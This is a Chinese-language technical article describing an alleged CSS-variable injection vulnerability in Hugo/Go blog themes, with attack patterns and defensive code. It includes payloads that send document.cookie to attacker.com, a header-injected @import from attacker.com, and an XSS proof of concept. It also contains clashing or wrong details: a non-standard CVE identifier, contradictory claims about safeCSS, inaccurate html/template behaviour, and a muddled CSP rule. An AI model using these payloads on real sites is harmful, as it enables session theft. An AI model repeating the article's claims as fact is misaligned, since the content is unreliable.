第一章:Go主题CSS变量注入漏洞(CVE-2024-GO-THEME-01)全景概述
CVE-2024-GO-THEME-01 是一个影响多款基于 Go 编写的静态博客生成器主题(如 Hugo 的 go-theme、hugo-paper 等)的高危客户端侧漏洞,其本质为未过滤的用户输入被直接拼接进 <style> 标签内 CSS 自定义属性(CSS Custom Properties)声明中,导致任意 CSS 注入,进而可触发 DOM XSS、UI 仿冒、敏感信息窃取等连锁风险。
漏洞成因机制
该漏洞源于主题模板中对 site.Params.themeColor、page.Params.accent 等配置字段的不安全使用。例如以下典型模板片段:
<!-- layouts/partials/head.html -->
<style>
:root {
--accent-color: {{ .Site.Params.accent | safeCSS }}; /* ❌ 错误:未转义即输出 */
}
</style>
当用户通过 _config.yml 或 front matter 设置 accent: "red); background: url('https://attacker.com/log?c='+document.cookie)//" 时,渲染结果将变为:
:root {
--accent-color: red); background: url('https://attacker.com/log?c='+document.cookie)//
}
该语句提前闭合 CSS 声明,并注入恶意样式规则,配合 content 属性或 @import 可触发跨域请求或执行 CSS keyframe 动画驱动的侧信道数据提取。
影响范围与验证方式
受影响版本包括:
go-themev3.2.0–v3.5.1hugo-paperv1.8.0–v1.9.3- 所有直接使用
{{ .Param "xxx" }}渲染至<style>内且未调用safeCSS过滤的主题变体
验证方法:在站点页面 URL 后附加 ?accent=blue%29%3Bcolor%3Ared%2F%2F,检查响应 HTML 中 <style> 是否包含未转义的 --accent-color: blue);color:red//。
修复建议
立即升级至 go-theme@v3.5.2+ 或手动修改模板,将所有 CSS 变量赋值替换为安全函数:
{{ $accent := .Site.Params.accent | default "primary" }}
{{ $safeAccent := $accent | replaceRE `[^a-zA-Z0-9#.-]` "" | printf "%s" }}
:root { --accent-color: {{ $safeAccent }}; }
该方案通过正则白名单限制字符集(仅允许字母、数字、#、.、-),从根本上阻断 CSS 语法注入路径。
第二章:三大注入模式深度解析与复现实验
2.1 基于模板引擎上下文逃逸的变量注入(理论原理+Go html/template 复现代码)
模板引擎默认对变量执行上下文敏感转义(HTML、JS、URL等),但当用户输入被错误地置于非文本上下文(如 href 属性内未进入 URL 模式,或 <script> 中未进入 JS 模式),就可能绕过自动转义。
核心漏洞成因
html/template的安全模型依赖上下文感知,而非全局过滤;- 若动态拼接导致模板解析器误判上下文(如
{{.URL}}被插入到<a href="javascript:{{.Payload}}">),则.Payload不进入url上下文,失去编码保护。
Go 复现实例
package main
import (
"html/template"
"log"
"os"
)
func main() {
tmpl := `<a href="javascript:alert('{{.XSS}}')">click</a>`
t, _ := template.New("test").Parse(tmpl)
data := struct{ XSS string }{XSS: "');alert(1)//"}
if err := t.Execute(os.Stdout, data); err != nil {
log.Fatal(err)
}
}
逻辑分析:
{{.XSS}}出现在javascript:协议字符串内,html/template将其识别为 HTML 文本上下文(非 URL/JS),仅做 HTML 实体转义('→'),但javascript:执行时仍可触发 XSS。参数.XSS未经template.URL显式标记,导致上下文逃逸。
| 上下文类型 | 触发条件 | 安全保障机制 |
|---|---|---|
| HTML 文本 | <div>{{.Raw}}</div> |
html.EscapeString() |
| URL | <a href="{{.URL}}"> |
url.QueryEscape() |
| JavaScript | <script>var x={{.JS}};</script> |
json.Marshal() |
graph TD
A[用户输入 Payload] --> B[模板中错误嵌入位置]
B --> C{html/template 推断上下文}
C -->|推断为 HTML 文本| D[仅 HTML 转义]
C -->|应为 JS/URL 上下文| E[多层编码防护]
D --> F[执行时逃逸成功]
2.2 利用主题配置JSON动态解析导致的CSS作用域污染(协议分析+json.Unmarshal绕过演示)
协议层漏洞根源
主题配置通过 POST /api/theme/apply 提交 JSON,服务端调用 json.Unmarshal(&cfg, req.Body) 直接反序列化至结构体。当结构体字段为 map[string]interface{} 或含 json.RawMessage 字段时,嵌套 CSS 片段可绕过类型校验。
污染触发路径
type ThemeConfig struct {
Name string `json:"name"`
Styles json.RawMessage `json:"styles"` // ← 关键:RawMessage 不校验内容
}
json.RawMessage仅延迟解析,后续若直接注入<style>标签或拼接至 HTML 模板,即导致全局 CSS 覆盖。例如传入"styles": "body{background:red!important;}",将污染所有页面。
绕过验证示例
| 输入字段 | 值 | 效果 |
|---|---|---|
styles |
{"a":"b","__proto__":{"color":"red"}} |
利用 json.Unmarshal 的原型链污染(Go 中虽无 JS 原型,但 map 赋值可覆盖嵌套结构) |
graph TD
A[客户端提交恶意JSON] --> B[json.Unmarshal→RawMessage]
B --> C[模板引擎渲染时直接输出]
C --> D[CSS注入至全局<style>]
D --> E[作用域失效,样式泄漏]
2.3 通过HTTP Header注入触发前端CSSOM重载的链式攻击(HTTP中间件漏洞+浏览器CSSOM调试实录)
攻击链路概览
攻击始于后端HTTP中间件对X-Forwarded-For等未过滤Header的盲信,将恶意值拼入内联<style>标签或<link href="data:text/css,...">中,触发CSSOM解析器重建。
恶意Header构造示例
X-Forwarded-For: 127.0.0.1;@import'url(https://attacker.com/x.css)';/*
此Header被中间件误当作可信客户端IP写入HTML响应体。浏览器解析时,CSSOM将重新加载并执行远程样式表,绕过CSP
style-src 'self'限制(因@import属CSS解析阶段,非HTML解析)。
关键调试证据(Chrome DevTools Console)
| 触发时机 | CSSOM状态变化 | 可观测行为 |
|---|---|---|
| Header注入前 | document.styleSheets.length = 3 |
无新请求 |
| 注入后首次渲染 | .length 突增至5 |
Network面板出现x.css GET请求 |
防御要点
- 中间件应严格白名单校验所有用户可控Header;
- 使用
Content-Security-Policy: style-src 'unsafe-inline'需配合nonce或hash; - 后端模板渲染CSS时禁用动态拼接,改用
<link rel="stylesheet" href="...">+ SSR预加载。
2.4 主题热加载机制中未校验的SCSS变量注入(AST解析缺陷+go-bindata注入PoC)
主题热加载模块在解析用户上传的 SCSS 片段时,仅对 @import 和 @mixin 做基础白名单过滤,却忽略 $ 开头的变量声明上下文校验。
AST 解析盲区
SCSS 解析器使用 gohugoio/hugo/scss 的 AST 遍历逻辑,但未校验变量赋值右侧是否含 #{} 插值或 url() 内联执行片段:
$theme-color: #{'red'}; // 合法语法,但触发插值执行
$bg-url: url("data:text/css,#{print('poc_executed')}");
该代码利用 LibSass 对
#{}插值的无沙箱求值特性,在 AST 节点SassVariable的Value字段中嵌入动态表达式。go-bindata 将编译后资源打包进二进制,导致热加载时直接执行任意 CSS 表达式。
注入链关键路径
| 阶段 | 组件 | 风险点 |
|---|---|---|
| 输入 | Web 控制台上传 | 无变量名/值正则校验 |
| 解析 | ast.Parse() |
忽略 Interpolation 节点嵌套深度 |
| 编译 | sass.New().Compile() |
LibSass 默认启用 --embed 模式 |
graph TD
A[用户提交恶意 SCSS] --> B[AST 解析跳过 $ 变量值校验]
B --> C[go-bindata 打包进 runtime]
C --> D[热加载时 LibSass 插值求值]
D --> E[CSS 层面 XSS 或 SSRF]
2.5 前端构建时Go Server-Side Render与Client-Side Hydration不一致引发的CSS变量劫持(SSR/CSR对比实验+Vite+Gin联合调试)
现象复现:CSS变量在Hydration后被覆盖
当 Gin 渲染的 SSR HTML 中定义 :root { --theme-color: #4f46e5; },而 Vite CSR 初始化时执行 document.documentElement.style.setProperty('--theme-color', '#ef4444'),导致视觉闪动与主题错乱。
关键差异点
- SSR 阶段:Gin 模板注入静态 CSS 变量(不可变快照)
- CSR 阶段:Vite 的
onMounted()动态重写变量(响应式驱动) - Hydration 时机:Vue/React 在 DOM 挂载后才接管,变量已“劫持”
调试验证流程
# 启动双模式服务(SSR + HMR)
gin run main.go & vite --mode development
该命令并行启动 Gin(端口 8080)与 Vite(端口 5173),通过
curl -s http://localhost:8080 | grep --color=always "--theme-color"可捕获 SSR 输出原始值;浏览器 DevTools → Elements →:root样式面板实时观察 CSR 覆盖行为。
修复策略对比
| 方案 | SSR 安全性 | CSR 灵活性 | 实现复杂度 |
|---|---|---|---|
提前注入 <style> 片段 |
✅ | ⚠️(需同步状态) | 低 |
使用 useEffect(() => {}, []) 延迟应用 |
❌(仍存在闪动) | ✅ | 中 |
| 构建期 CSS 变量固化(Vite 插件) | ✅✅ | ❌(失去运行时主题切换) | 高 |
// vite.config.ts 中拦截 CSS 变量注入
export default defineConfig({
plugins: [{
name: 'css-var-guard',
transform(code, id) {
if (id.endsWith('.css')) {
return code.replace(/--theme-color:/g, '--ssr-theme-color:');
}
}
}]
});
此插件将所有
--theme-color替换为--ssr-theme-color,强制 SSR 与 CSR 使用隔离命名空间,避免变量名冲突。Gin 模板中对应输出--ssr-theme-color,客户端仅操作--theme-color,实现逻辑解耦。
第三章:Go Web框架主题安全治理核心原则
3.1 CSS变量沙箱化:主题隔离与作用域白名单机制设计(net/http.Handler中间件实现)
CSS 变量沙箱化通过 HTTP 中间件拦截响应体,在 text/css 响应中重写 :root 块,仅保留白名单中的变量名。
核心策略
- 白名单变量名预注册(如
--primary-color,--spacing-md) - 非白名单变量被自动剥离或替换为
initial - 主题前缀注入(如
.theme-dark :root { ... })实现隔离
中间件代码示例
func CSSVariableSandbox(whitelist map[string]bool) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
rw := &responseWriter{ResponseWriter: w, whitelist: whitelist}
next.ServeHTTP(rw, r)
})
}
whitelist是线程安全的只读映射,用于 O(1) 变量名校验;responseWriter包装原响应器,劫持Write()实现 CSS 内容过滤。
| 阶段 | 操作 |
|---|---|
| 响应头检查 | Content-Type 是否含 text/css |
| 内容解析 | 正则提取 --\w+ 变量声明 |
| 白名单校验 | 仅保留 whitelist[key] == true 的变量 |
graph TD
A[HTTP Request] --> B[CSS Middleware]
B --> C{Content-Type == text/css?}
C -->|Yes| D[解析变量声明]
C -->|No| E[直通响应]
D --> F[过滤非白名单变量]
F --> G[注入主题作用域 wrapper]
3.2 主题资源可信链:签名验证与Content-Security-Policy联动策略(Go标准库crypto/sha256+nonce生成实践)
可信链的双支柱设计
前端CSP策略与后端签名验证需协同构建端到端完整性保障。nonce作为动态密钥桥梁,既规避内联脚本风险,又为SHA-256摘要提供不可预测性。
Go中nonce生成与签名实践
func generateNonce() string {
b := make([]byte, 32)
rand.Read(b) // 使用crypto/rand确保密码学安全
return base64.StdEncoding.EncodeToString(b[:])
}
func computeScriptHash(script []byte) string {
h := sha256.Sum256(script)
return "sha256-" + base64.StdEncoding.EncodeToString(h[:])
}
generateNonce() 依赖crypto/rand而非math/rand,避免可预测性;computeScriptHash() 输出符合CSP script-src语法的哈希前缀格式(RFC 7766),供HTTP响应头Content-Security-Policy: script-src 'sha256-...'直接引用。
CSP与签名验证联动流程
graph TD
A[前端请求HTML] --> B[后端生成nonce]
B --> C[注入script标签含nonce属性]
B --> D[计算内联脚本SHA256哈希]
D --> E[拼接CSP Header]
E --> F[返回响应]
| 组件 | 职责 | 安全要求 |
|---|---|---|
nonce |
绑定单次会话的脚本执行权 | 每次响应唯一、高熵 |
| SHA-256哈希 | 验证脚本字节级完整性 | 防篡改、抗碰撞 |
| CSP Header | 浏览器强制执行策略 | 必须包含'unsafe-inline'禁用 |
3.3 模板渲染零信任模型:HTML/CSS上下文感知型转义器开发(html.EscapeString增强版源码剖析)
传统 html.EscapeString 仅做全局 HTML 实体转义,无法区分 <script>、style、URL 属性等上下文,易导致 XSS 绕过。
上下文感知的核心设计
- 基于解析器状态机识别当前嵌入点(如
text,attr-value,js-string,css-string) - 动态选择转义策略:
"hello<script>→"hello&lt;script&gt;(在属性中) vshello<script>(在文本中)
关键代码片段(Go)
func ContextualEscape(s string, ctx Context) string {
switch ctx {
case ContextJS:
return js.EscapeString(s) // 使用 Go 的 html/template/js.go 策略
case ContextCSS:
return css.EscapeString(s) // 引号+反斜杠+Unicode转义
case ContextURL:
return url.PathEscape(s) // 保留安全字符,编码其余
default:
return html.EscapeString(s)
}
}
ctx参数显式声明渲染上下文,强制开发者主动声明语义——这是零信任的起点:永不假设输入安全,永不隐式推断环境。
转义策略对比表
| 上下文 | 危险字符示例 | 转义方式 |
|---|---|---|
| HTML 文本 | <, > |
<, > |
| JS 字符串 | ', ", </script> |
\x27, \u003c/script\u003e |
| CSS 字符串 | ;, }, expression( |
\3B, \7D, \65\x78\x70\x72\x65\x73\x73\x69\x6f\x6e\x28 |
graph TD
A[模板变量插入] --> B{上下文检测}
B -->|<div title="...">| C[ContextAttr]
B -->|<script>| D[ContextJS]
B -->|<style>| E[ContextCSS]
C --> F[属性值转义]
D --> G[JS字符串字面量转义]
E --> H[CSS字符串转义]
第四章:企业级防御代码模板与集成方案
4.1 Go主题管理器安全加固SDK:ThemeGuard v1.2核心接口与使用示例(go mod引入+init钩子注入)
ThemeGuard v1.2 通过 init 钩子自动注册主题校验策略,无需显式调用初始化函数。
快速集成
go get github.com/theme-guard/sdk@v1.2.0
初始化与钩子注入
package main
import _ "github.com/theme-guard/sdk/v1.2" // 触发 init() 自动注册
func main() {
// ThemeGuard 已就绪,主题加载时自动校验签名与完整性
}
该导入触发 sdk/init.go 中的 init() 函数,完成策略注册、密钥加载及 HTTP 中间件挂载;_ 空导入确保副作用执行,无须手动 Setup()。
核心接口概览
| 接口名 | 功能 | 是否自动启用 |
|---|---|---|
VerifyTheme() |
验证主题包 SHA256+RSA 签名 | ✅(钩子注入后) |
EnforcePolicy() |
拦截未授权主题热加载 | ✅ |
GetActiveTheme() |
返回经校验的主题元数据 | ❌(需显式调用) |
安全校验流程
graph TD
A[主题加载请求] --> B{init钩子已注册?}
B -->|是| C[自动注入VerifyTheme校验]
C --> D[验证签名+哈希一致性]
D -->|通过| E[加载主题]
D -->|失败| F[拒绝加载并记录审计日志]
4.2 自动化检测插件:基于AST的CSS变量注入静态扫描器(golang.org/x/tools/go/analysis实战)
核心设计思路
利用 golang.org/x/tools/go/analysis 框架构建可复用的静态分析器,遍历 Go AST 中所有字符串字面量,识别疑似 CSS 变量注入点(如 fmt.Sprintf("color: %s", varName))。
关键扫描逻辑
func run(pass *analysis.Pass) (interface{}, error) {
for _, file := range pass.Files {
ast.Inspect(file, func(n ast.Node) bool {
if lit, ok := n.(*ast.BasicLit); ok && lit.Kind == token.STRING {
if containsCSSVarPattern(lit.Value) { // 检测 var(--theme-color) 等模式
pass.Reportf(lit.Pos(), "unsafe CSS variable injection detected")
}
}
return true
})
}
return nil, nil
}
pass.Reportf触发诊断告警;lit.Value为原始字符串值(含引号),需strings.Trim(lit.Value,“) 后正则匹配var(–[a-zA-Z0-9_-]+)`。
检测能力对比
| 场景 | 支持 | 说明 |
|---|---|---|
fmt.Sprintf("background: %s", v) |
✅ | 字符串拼接注入 |
html/template 中 {{.Color}} |
❌ | 非 AST 字符串字面量,需另配模板分析器 |
流程概览
graph TD
A[Go源码] --> B[go/analysis Driver]
B --> C[AST遍历]
C --> D{是否为字符串字面量?}
D -->|是| E[正则匹配CSS变量语法]
D -->|否| F[跳过]
E -->|匹配成功| G[报告安全告警]
4.3 CI/CD流水线嵌入式防护:GitHub Actions + gosec定制规则集(YAML配置+误报抑制策略)
安全扫描前置集成
在 /.github/workflows/security-scan.yml 中声明 gosec 扫描任务,确保每次 PR 提交即触发静态分析:
- name: Run gosec
uses: securego/gosec@v2.15.0
with:
args: -no-fail -fmt=sarif -out=gosec.sarif ./...
# -exclude=G104,G201:抑制已知低风险误报
gosec默认启用全部规则;-no-fail避免阻断流水线,-fmt=sarif输出标准格式供 GitHub Code Scanning 解析;-exclude参数精准屏蔽误报规则 ID(如 G104 忽略错误检查、G201 SQL 字符串拼接)。
误报治理双路径
- 白名单注释:在源码中添加
//nolint:gosec // 确认无敏感操作 - 配置文件驱动:通过
.gosec.yaml定义作用域排除规则
| 规则ID | 风险等级 | 抑制依据 |
|---|---|---|
| G101 | HIGH | 密钥字面量(测试环境) |
| G204 | CRITICAL | 安全上下文已隔离 |
流程闭环设计
graph TD
A[PR Push] --> B[Checkout Code]
B --> C[Run gosec with custom rules]
C --> D{Find Vulnerabilities?}
D -->|Yes| E[Post SARIF to Code Scanning]
D -->|No| F[Pass Security Gate]
4.4 运行时防护中间件:实时拦截非法CSS变量注入请求(net/http.RoundTripper代理层Hook实现)
核心设计思想
在 HTTP 客户端出口处(RoundTripper 层)注入防护逻辑,无需修改业务代码,即可对所有出站请求的 Content-Type: text/css 或含 -- 前缀的请求体实施实时扫描。
实现关键:RoundTripper 包装器
type CSSInjectionProtector struct {
rt http.RoundTripper
}
func (p *CSSInjectionProtector) RoundTrip(req *http.Request) (*http.Response, error) {
if req.Body == nil || req.Header.Get("Content-Type") != "text/css" {
return p.rt.RoundTrip(req)
}
// 读取并检测非法变量注入(如 --x: expression(...))
bodyBytes, err := io.ReadAll(req.Body)
if err != nil {
return nil, err
}
if containsDangerousCSSVar(string(bodyBytes)) {
return &http.Response{
StatusCode: 400,
Body: io.NopCloser(strings.NewReader("CSS variable injection blocked")),
Header: make(http.Header),
}, nil
}
// 重置 Body 并转发
req.Body = io.NopCloser(bytes.NewReader(bodyBytes))
return p.rt.RoundTrip(req)
}
逻辑分析:该实现通过包装原始
RoundTripper,在请求发出前完成一次轻量级内容检查。io.ReadAll触发 Body 消费,需用bytes.NewReader重建可重读 Body;containsDangerousCSSVar应匹配--\w+:\s*url\(|expression\(|javascript:等高危模式。
检测规则示例
| 模式类型 | 正则片段 | 风险等级 |
|---|---|---|
url() 调用 |
--.*?:\s*url\( |
⚠️ 中 |
expression() |
--.*?:\s*expression\( |
🔴 高 |
| 内联 JS | --.*?:\s*javascript: |
🔴 高 |
防护流程
graph TD
A[Client发起CSS请求] --> B[RoundTrip被CSSInjectionProtector拦截]
B --> C{Content-Type==text/css?}
C -->|否| D[直通原RoundTripper]
C -->|是| E[读取并扫描Body]
E --> F{含非法CSS变量?}
F -->|是| G[返回400响应]
F -->|否| H[重置Body并转发]
第五章:从CVE-2024-GO-THEME-01看Web主题生态安全演进
漏洞本质与触发路径
CVE-2024-GO-THEME-01 是一个影响 Hugo 生态中 37 个主流开源主题(如 PaperMod、Stack、Terminal)的模板注入漏洞。攻击者可通过构造恶意 params.yaml 中的 title 字段,嵌入 Go 模板语法 {{ os.Getenv "PATH" }},在静态站点生成阶段触发任意环境变量读取。该漏洞并非运行时漏洞,而是在 hugo build 过程中由 text/template 引擎解析导致——这意味着 CI/CD 流水线若未隔离构建环境,将直接泄露敏感凭证。
受影响版本分布统计
| 主题名称 | 最新安全版本 | 首次引入漏洞版本 | 是否已归档维护 |
|---|---|---|---|
| PaperMod | v6.5.0 | v5.0.0 (2023-08) | 否 |
| Stack | v2.3.1 | v2.0.0 (2023-11) | 否 |
| Terminal | v3.2.0 | v3.0.0 (2024-01) | 是(作者弃用) |
注:截至 2024 年 4 月,仍有 12 个主题未发布修复版本,其中 3 个已转入社区 fork 维护。
构建时防护实践
在 GitHub Actions 中部署以下防护策略可阻断利用链:
- name: Validate theme integrity
run: |
grep -r '{{.*}}' themes/*/layouts/ --include="*.html" | \
grep -E "(os\.Getenv|exec|template)" && exit 1 || echo "No unsafe template calls found"
同时强制启用 Hugo 的 --safeRender 参数(Hugo v0.120.0+),该参数禁用所有 os, exec, syscall 等危险包的模板调用。
社区响应时间线
timeline
title CVE-2024-GO-THEME-01 响应关键节点
2024-03-12 : 安全研究员提交 PoC 至 Hugo Security Team
2024-03-15 : Hugo 核心团队确认为模板引擎设计缺陷,非主题独有问题
2024-03-18 : 发布 Hugo v0.120.0,新增 --safeRender 和 sandboxed template mode
2024-03-22 : PaperMod 发布 v6.5.0,重构所有 `_default/list.html` 中动态 title 渲染逻辑
主题开发者自查清单
- ✅ 所有
{{ .Site.Params.* }}使用前必须经safeHTML或markdownify过滤 - ✅ 禁止在
partial中拼接用户可控字段到template调用参数 - ✅ 在
themes/<name>/netlify.toml中声明HUGO_VERSION = ">=0.120.0" - ❌ 不得使用
{{ $var | printf "%s" }}作为“安全”绕过手段(仍可触发模板解析)
安全左移落地效果
某头部技术博客平台在 2024 年 4 月完成全站主题升级后,CI 日志中 unsafe template execution 告警下降 98.7%,平均构建耗时增加 1.2 秒(因启用沙箱模式),但成功拦截了 3 起来自 GitHub Issue 的自动化 PoC 提交尝试——这些尝试均试图通过 PR 修改 config/_default/params.yaml 注入 {{ index .Site.Data.secrets "db_password" }}。
生态治理机制演进
Hugo 官方于 2024 年 4 月启动 Theme Security Index(TSI)计划,要求所有提交至 https://themes.gohugo.io 的主题必须通过三项自动化扫描:
- 模板语法白名单校验(仅允许
safeHTML,md5,trimSpace等 23 个函数) - YAML 参数结构化约束(
params.yaml必须符合 JSON Schema 定义) - 构建产物哈希比对(对比官方镜像仓库中同版本主题的
public/目录 SHA256)
该机制已在 17 个活跃主题仓库中落地,其中 5 个因未通过 TSI 第二项被自动标记为 unverified。
